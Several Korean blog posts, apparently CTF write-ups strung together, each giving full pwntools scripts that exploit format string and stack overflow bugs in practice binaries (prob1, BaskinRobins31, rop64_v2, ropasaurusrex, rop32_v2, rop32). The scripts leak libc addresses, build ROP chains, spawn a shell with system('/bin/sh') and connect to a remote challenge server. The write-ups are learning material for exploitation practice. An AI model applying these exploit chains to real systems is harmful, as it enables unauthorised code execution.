prob1
0.01MB

이 파일을 포맷스트링 버그를 이용해서 쉘을 얻어보겠습니다.

일단 파일을 연결하고,

from pwn import *

context.log_level = 'debug'

e = ELF('./prob1')
r = process('./prob1')
libc = e.libc

IDA로 보면 printf(format); 부분에서 포맷스트링 버그가 나고 read(0, format, 0x100uLL); 에서 버퍼 오버플로우가 발생합니다.

printf(format)을 이용하여 libc base를 구하고, 버퍼 오버플로우로 system("/bin/sh")를 실행시켜 주겠습니다.

 

rbp-10h에 위치한 format이 스택의 최상단 rsp+0h에 존재하니 rbp와 rsp의 거리는 0x10임을 알 수 있습니다.

printf의 format은 rsi, rdx, rcx, r8, r9, rsp, rsp+8*n... 형식으로 가져오기 때문에

rbp를 먼저 구해보자면 5(rsi,rdx,rcx,r8,r9) + 0x10 / 8(rsp + 0x10) + 1 이 됩니다.

sfp가 있기 때문에 +1을 해주겠습니다.

payload = "%"+str(5 + (0x10 / 8) + 1 + 1)+"$p"

r.sendline(payload)

그러면 __libc_start_main+240의 주소가 출력될 것입니다. 그 값을 받아서 libc base를 구해주겠습니다.

__libc_start_main = int(r.recv(14), 16)
_base = __libc_start_main - libc.sym['__libc_start_main'] - 240
system = _base + libc.sym['system']
binsh = _base + libc.search("/bin/sh\x00").next()

그리고 pop rdi 가젯을 이용해 system("/bin/sh")를 실행시켜 주겠습니다.

prdi = 0x0000000000400803

payload = "A" * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)

r.sendline(payload)

r.interactive()

이렇게 하면 쉘이 실행될 것입니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #2  (0) 2021.08.06
22. format string bug - prob2  (0) 2021.08.03
20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01

your_turn 함수에서 버퍼 오버플로우가 발생합니다.

your_turn 함수까지 입력받고, your_turn 함수에 puts를 이용하여 puts의 실제 주소를 출력하는 페이로드를 작성하여 전송해주고, your_turn 함수를 다시 실행하도록 하겠습니다.

r.recvuntil("(1-3)\n")

rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)

Don't break the rules...:(\n 까지 입력받고, \n 전까지 입력받은 값을 u64로 언패킹 해줍니다.

r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)

그리고 puts 주소에서 라이브러리의 puts offset 을 빼서 base를 구한 뒤, system 함수의 주소를 구하고,

bss 영역에 /bin/sh를 써서

system("/bin/sh")를 실행시켜 주겠습니다.

_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)
r.sendline('/bin/sh\x00')

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

전체 코드

from pwn import *

context.log_level = 'debug'

e = ELF('./BaskinRobins31')
r = remote("sunrin.site", 9008)
libc = ELF('./libc.so.6')

r.recvuntil("(1-3)\n")

rdi_rsi_rdx = 0x000000000040087a
rdi = 0x0000000000400bc3

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)

r.recvuntil(":(")
r.recvuntil("\x0a")
puts_hex = r.recvuntil('\x0a')[:-1]
_puts = u64(puts_hex.ljust(8, '\x00'))
print("puts: ", puts_hex, _puts)

_base = _puts - libc.sym['puts']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = ""
payload += "A" * (0x40) + "B" * 8
payload += p64(rdi_rsi_rdx)
payload += p64(0)
payload += p64(_binsh)
payload += p64(0x10)
payload += p64(e.plt['read'])
payload += p64(e.sym['your_turn'])

r.sendline(payload)
r.sendline('/bin/sh\x00')

payload = 'A' * (0xB0 + 8)
payload += p64(rdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

22. format string bug - prob2  (0) 2021.08.03
21. format string bug - prob1  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01

64비트로 바뀌었습니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./rop64_v2')
p = remote("sunrin.site", 9007)
libc = ELF('./libc.so.6')

prdi = 0x00000000004005f3
prsir15 = 0x00000000004005f1
pppret = 0x080486b9

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(1)
payload += p64(prsir15)
payload += p64(e.got['write'])
payload += 'A' * 8
payload += p64(e.plt['write'])
payload += p64(e.sym['main'])

p.sendlineafter("World\n", payload)

_write = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
base = _write - libc.symbols['write']
system = base + libc.sym['system']
binsh = e.bss() + 0x10

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(0)
payload += p64(prsir15)
payload += p64(binsh)
payload += 'A' * 8
payload += p64(e.plt['read'])
payload += p64(e.sym['main'])

p.sendline(payload)
p.sendline('/bin/sh\x00')

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01
16. sung.pw - rop32  (0) 2021.08.01

rop32에서 함수의 주소값을 넣어줘야지 되는것과, write함수를 사용해야 하는것이 달라졌습니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./ropasaurusrex')
r = remote('sunrin.site', 9005)
libc = ELF('./libc.so.6')

pppret = 0x080484b6

payload = 'A' * (0x88 + 4)
payload += p32(e.plt['write'])
payload += p32(pppret)
payload += p32(1)
payload += p32(e.got['write'])
payload += p32(0x4)
payload += p32(0x804841d)

r.sendline(payload)

_write = u32(r.recvuntil('\xf7'))
_base = _write - libc.sym['write']
_system = _base + libc.sym['system']
_binsh = e.bss() + 0x10

payload = 'A' * (0x88 + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(_binsh)
payload += p32(0x20)
payload += p32(0x804841d)

r.sendline(payload)

r.sendline('/bin/sh\x00')

payload = 'A' * (0x88 + 4)
payload += p32(_system)
payload += 'A' * 4
payload += p32(_binsh)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01
16. sung.pw - rop32  (0) 2021.08.01
15. Dreamhack - basic_rop_x64  (0) 2021.08.01

rop32 문제에서 버퍼 크기와 함수만 달라졌습니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./rop32_v2')
p = remote("sunrin.site", 9004)
libc = ELF('./libc.so.6')

pret = 0x080486bb
pppret = 0x080486b9

payload = 'A' * (0x24 + 4)
payload += p32(e.plt['puts'])
payload += p32(pret)
payload += p32(e.got['puts'])
payload += p32(e.sym['vuln'])

p.sendlineafter(": \n", payload)

puts = u32(p.recvuntil('\xf7'))

base = puts - libc.sym['puts']
system = base + libc.sym['system']
binsh = e.bss() + 0x10

payload = 'A' * (0x24 + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x20)
payload += p32(e.sym['vuln'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

payload = 'A' * (0x24 + 4)
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

p.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

19. sung.pw - rop64_v2  (0) 2021.08.01
18. sung.pw - ropasaurusrex  (0) 2021.08.01
16. sung.pw - rop32  (0) 2021.08.01
15. Dreamhack - basic_rop_x64  (0) 2021.08.01
14. Dreamhack - basic_rop_x86  (0) 2021.08.01

이전에 했던 문제들과 크게 다를게 없기 때문에 쉽게 풀 수 있습니다.

printf 함수를 이용하여 printf 함수의 실제 주소를 출력시키고, vuln 함수를 다시 실행합니다.

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['printf'])
payload += p32(popret)
payload += p32(e.got['printf'])
payload += p32(e.sym['vuln'])

p.sendlineafter(": ", payload)

printf 함수의 실제 주소를 받고, libc base 를 구합니다.

printf = u32(p.recvuntil('\xf7'))

base = printf - libc.symbols['printf']
system = base + libc.symbols['system']

/bin/sh를 bss에 넣습니다.

binsh = e.bss() + 0x10

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x20)
payload += p32(e.sym['vuln'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

system("/bin/sh")를 실행합니다.

payload = 'A' * (0x3a + 4)
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

전체 코드

from pwn import *

context.log_level = 'debug'

#e = ELF('./leak_libc')
#p = process('./leak_libc')

e = ELF('./rop32')
p = remote("sunrin.site", 9003)
libc = ELF('./libc.so.6')

pdecimal = libc.search("%d\x00").next()

popret = 0x08048331
poppopret = 0x0804855a
pppret = 0x08048559

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['printf'])
payload += p32(popret)
payload += p32(e.got['printf'])
payload += p32(e.sym['vuln'])

p.sendlineafter(": ", payload)

printf = u32(p.recvuntil('\xf7'))

base = printf - libc.symbols['printf']
system = base + libc.symbols['system']
binsh = e.bss() + 0x10

payload = 'A' * (0x3A + 4)
payload += p32(e.plt['read'])
payload += p32(pppret)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x20)
payload += p32(e.sym['vuln'])

p.sendline(payload)

p.sendline('/bin/sh\x00')

payload = 'A' * (0x3a + 4)
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.sendline(payload)

p.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

18. sung.pw - ropasaurusrex  (0) 2021.08.01
17. sung.pw - rop32_v2  (0) 2021.08.01
15. Dreamhack - basic_rop_x64  (0) 2021.08.01
14. Dreamhack - basic_rop_x86  (0) 2021.08.01
13. HackCTF - RTL_Core  (0) 2021.07.19

+ Recent posts